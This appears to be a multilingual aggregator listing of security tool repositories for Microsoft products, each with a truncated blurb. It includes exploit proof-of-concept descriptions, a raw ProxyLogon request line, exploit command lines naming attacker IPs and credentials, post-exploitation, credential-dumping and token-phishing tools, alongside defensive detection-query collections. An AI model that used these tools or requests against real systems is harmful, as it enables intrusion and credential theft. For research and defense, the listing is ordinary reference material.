KSLDBYOVDARK

KSLDBYOVD Riferimento: KslKatz e KslDump. KslD.sys, alias MpKslDrv.sys, era uno dei driver degli strumenti anti-rootkit di Microsoft Antimaware che include Microsoft Defender Antivirus, Windows Defender Antivirus nelle vecchie versioni di Windows, Microsoft Security Essentials, System Center...

WIn-CVE-2021-31166

WIn-CVE-2021-31166 Dieses Repository ist inspiriert von 0vercl0k für einen Proof-of-Concept für CVE-2021-31166 "HTTP Protocol Stack Remote Code Execution Vulnerability", eine Use-After-Free-Dereferenzierung in http.sys, die von Microsoft im Mai 2021 gepatcht wurde. Build-Infrastruktur...

cve-2021-26855

cve-2021-26855 root@kitploit: GET /ecp/x.png HTTP/1.1 Host: 192.168.170.134 Cookie: X-BEResource=localhost1942062522 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:109.0 Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0...

Sentinel-Queries

KQL per Microsoft Sentinel Alcuni suggerimenti, trucchi ed esempi per l'uso di KQL con Microsoft Sentinel. 1. Introduzione 2. L'anatomia di una query KQL 3. Le basi 1. Nozioni di base sul tempo 2. Nozioni di base su Where 3. Nozioni di base su Project 4. Nozioni di base su Summarize 5. Nozioni di...

CVE-2021-26855-d

मूल उपयोग:python owamails.py -u -l -p वैकल्पिक तर्क: root@kitploit: -h, --help show this help message and exit -u URL, --url URL Url, provide schema and not final / eg https://example.org -l LIST, --list LIST Users mailbox list -p PATH, --path PATH Path to write emails in xml format -f FQDN, --fq...

CVE-2017-11882

Aperçu de CVE-2017-11882 Du point de vue de l'exploitation, il peut toucher toutes les versions d'Office de 2003 à 2016, et la mise en place de l'environnement d'attaque est très simple. Cette vulnérabilité est causée par l'Éditeur d'équations dans Office. Comme le processus de l'éditeur ne vérif...

CVE-2023-23397

CVE-2023-23397: Уязвимость удаленного выполнения кода в Microsoft Outlook CVE-2023-23397 - это уязвимость удаленного выполнения кода в Microsoft Outlook, популярном почтовом клиенте, используемом миллионами пользователей по всему миру. Эта уязвимость была обнаружена исследователем безопасности...

cve-2017-8760

शोषण टूलकिट CVE-2017-8759 - v1.0 शोषण टूलकिट CVE-2017-8759 - v1.0 एक सुविधाजनक पायथन स्क्रिप्ट है जो पेंटेस्टर्स और सुरक्षा शोधकर्ताओं को Microsoft .NET Framework RCE का परीक्षण करने का एक त्वरित और प्रभावी तरीका प्रदान करती है। यह एक दुर्भावनापूर्ण RTF फ़ाइल उत्पन्न कर सकती है और बिना किसी जटिल...

APEX

APEX precedentemente AzurePwn- Framework di Post Exploitation per Azure Un tentativo di semplificare le attività di post-ex una volta ottenuto un qualche tipo di credenziali per un account correlato ad Azure. Ad essere onesti, non è nulla di nuovo o di spettacolare. Solo il mio vecchio culo pigro...

Maestro

Maestro Maestro è uno strumento post-exploitation progettato per interagire con Intune/EntraID da un agente C2 sulla workstation di un utente senza richiedere la conoscenza della password dell'utente o dei flussi di autenticazione di Azure, della manipolazione dei token e della console di...

MSSQLand

✈️ MSSQLand Atterra con eleganza nel tuo database Microsoft SQL Server MS SQL di destinazione, come se arrivassi su un volo business class con un calice di champagne in mano. 🥂 MSSQLand è uno strumento di post-sfruttamento per Microsoft SQL Server MSSQL / MS SQL scritto in C, progettato per...

msprobe

msprobe About Installing Usage Examples Coming Soon Acknowledgements About Finding all things on-prem Microsoft for password spraying and enumeration. The tool will used a list of common subdomains associated with your target apex domain to attempt to discover valid instances of on-prem Microsoft...

CVE-2023-21716

CVE-2023-21716 Microsoft Word RTF Font Table Heap Corruption Una vulnerabilità all'interno di wwlib di Microsoft Office consente agli aggressori di ottenere l'esecuzione remota di codice con i privilegi della vittima che apre un documento RTF dannoso. L'aggressore potrebbe consegnare questo file...

cve-2020-00796

Identifizieren und Beheben der CVE-2020–0796 Schwachstelle im Flug CVE-2020–0796 ist eine Pre-Remote-Codeausführungs-Sicherheitslücke im Netzwerkkommunikationsprotokoll Server Message Block 3.0 SMBv3, die Microsoft nicht als Teil des März-2020-Patch-Dienstags adressiert. Verwendung python3...

Hunting-Queries-Detection-Rules

Query KQL per Sentinel e Defender KQL per Defender XDR, Microsoft Sentinel e altre soluzioni Microsoft Lo scopo di questo repository è condividere query KQL che possono essere utilizzate da chiunque e siano comprensibili. Queste query sono progettate per aumentare la copertura di rilevamento...

BTPS-SecPack

Il Pacchetto di Sicurezza PowerShell del Blue Team Utilizzo di Microsoft Teams per gli Avvisi Invece della Email Se desideri utilizzare Microsoft Teams per inviare avvisi invece di usare la email, dovrai caricare il branch microsoft-teams di questo repository che contiene le modifiche per gli...

Cyber-Attack-Analysis

Cybersecurity-Fallstudie: Der Vorfall bei Virgin Mobile KSA 2020 📌 Zusammenfassung Im Jahr 2020 wurde Virgin Mobile KSA Opfer eines schwerwiegenden Sicherheitsvorfalls, bei dem vertrauliche Daten gestohlen wurden, darunter Mitarbeiterkommunikation und personenbezogene Daten von über 1.000 Nutzern...

SharePointDumper

SharePointDumper SharePointDumper è un'utilità di estrazione e auditing basata su PowerShell che enumera i siti SharePoint a cui un utente ha accesso tramite Microsoft Graph e scarica i file tramite SharePoint. È progettato per test SOC/DLP, purple teaming e valutazioni red-team non sofisticate, ...

CVE-2026-45504

CVE-2026-45504 Lettura File Exchange CVE-2026-45504 Exchange File Read Blog di Ricerca python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

EasyTokens

EasyTokens Un server di phishing basato su device-code per l'emulazione di avversari. Cattura i token OAuth di Microsoft 365 tramite il flusso Device Authorization Grant. Ispirato da GraphSpy. Avviso — Solo per uso autorizzato. Questo strumento è destinato a penetration tester e red teamer che...